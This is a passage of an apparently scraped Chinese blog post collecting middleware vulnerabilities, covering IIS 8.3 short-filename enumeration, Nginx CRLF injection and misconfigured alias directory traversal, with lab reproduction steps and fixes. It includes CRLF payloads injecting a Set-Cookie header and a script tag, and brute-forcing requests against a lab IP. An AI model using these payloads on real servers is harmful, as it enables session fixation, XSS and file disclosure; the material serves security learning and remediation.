返回信息无报错，输入shell发现获得了靶机的shell。登录靶机查看到进程中多了calc.exe的进程，并且用户名为NETWORK SERVICE。

中间件漏洞合集


修复方法  升级IIS。

IIS短文件名

短文件名

为了兼容16位MS-DOS程序，Windows为文件名较长的文件（和文件夹）生成了对应的windows 8.3 短文件名。

文件名字符长度超过九位；

只有前六位字符显示，后续字符用~1代替，若有多个文件前六位相同的同类型文件，则~1递增；

后缀名最多有三位，多余的被截断。

在Windows下查看对应的短文件名，可以使用命令 dir /x

中间件漏洞合集


原理

由于短文件名的长度固定（xxxxxx~xxxx），因此黑客可直接对短文件名进行暴力破解 ，从而访问对应的文件。

我们可以在启用.net的IIS下暴力列举短文件名，原因是：

访问存在的短文件名，返回404

访问不存在的短文件名，返回400

危害

猜解敏感文件，例如备份的 rar、zip、.bak、.SQL文件等

在某些情形下，甚至可以通过短文件名web直接下载对应的文件。比如下载备份SQL文件

局限性

只能猜解前六位，以及扩展名的前3位；

名称较短的文件是没有相应的短文件名的；

需要IIS和.net两个条件都满足。

版本

中间件漏洞合集


利用方法

dir /x

中间件漏洞合集


在外部访问，文件存在则显示404，不存在则显示400

访问[url]http://10.10.10.136/A[/url]/a.aspx，存在，返回状态码404

中间件漏洞合集


访问[url]http://10.10.10.136/B[/url]/a.aspx，不存在，返回状态码400

中间件漏洞合集



中间件漏洞合集


访问[url]http://10.10.10.136/AA[/url]/a.aspx

中间件漏洞合集


修复方法 方法一：

升级.net framework；方法二：

修改注册列表

HKLM_LOCAL_MACHINESYSTEMCurrentControlSetControlFileSystemNtfsDisable8dot3NameCreation的值为1；


中间件漏洞合集


将Web文件夹复制到另一个新路径备份，将原来的文件夹删除，再将备份文件移动到原来路径下。

再次访问

[url]http://10.10.10.136/A[/url]/a.aspx


中间件漏洞合集


[url]http://10.10.10.136/B[/url]/a.aspx

中间件漏洞合集


备注 如果你的web环境不需要asp.net的支持你可以进入Internet 信息服务(IIS)管理器 --- Web 服务扩展 - ASP.NET 选择禁止此功能。

Nginx

Nginx配置错误

CRLF

CRLF回车+换行( )的简称；

HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器根据两个CRLF来取出HTTP内容并且显示出来通过控制HTTP消息头中的字符，注入一些恶意的换行，就能注入一些会话或者HTML代码比如就可以实现会话固定等等

漏洞成因

CRLF会话固定

通过控制HTTP消息头中的字符，注入一些恶意的换行，就能注入一些会话或者HTML代码，并且使用了解码的URI跳转

中间件漏洞合集


构造请求头

%0a%0dSet-Cookie:JSPSESSIONID%3D360


中间件漏洞合集


CRLF注入导致的反射型XSS  使用了解码的uri跳转

$uri：解码后请求路径，不含参数；
$document_uri：解码后请求路径，不含参数；
$request_uri：完整的URI，不解码


中间件漏洞合集


%0d%0a%0d%0a<script>alert(2)</script>

配置不当导致目录穿越

Nginx开启了反向代理，静态文件存储在/home/文件下，访问时在url中输入files即可访问

中间件漏洞合集


但是，files没有用/闭合，导致在url后加 ../等也可以被执行，从而导致了目录穿越

中间件漏洞合集


环境搭建

docker-compose up -d

中间件漏洞合集


利用方法

目录穿越

正常访问

中间件漏洞合集


构造url，实现了目录穿越

中间件漏洞合集


修复方法

CRLF

修改配置文件，使用不解码的uri跳转

中间件漏洞合集


修复效果

中间件漏洞合集


目录穿越

在配置里，将files用/闭合

中间件漏洞合集


修复结果


备注

URL编码

%0a 换行符

%0d 回车符

%3d =

整理这么多手都麻了，目前总结的就这么多了，若有错误请各位大佬多多指教！




以上是关于中间件漏洞合集的主要内容，如果未能解决你的问题，请参考以下文章

网络安全工具大合集

Atlassian Confluence漏洞复现合集

Android App 安全的HTTPS 通信

其他漏洞笔记合集

常见端口漏洞合集

Spring Boot Actuator 漏洞复现合集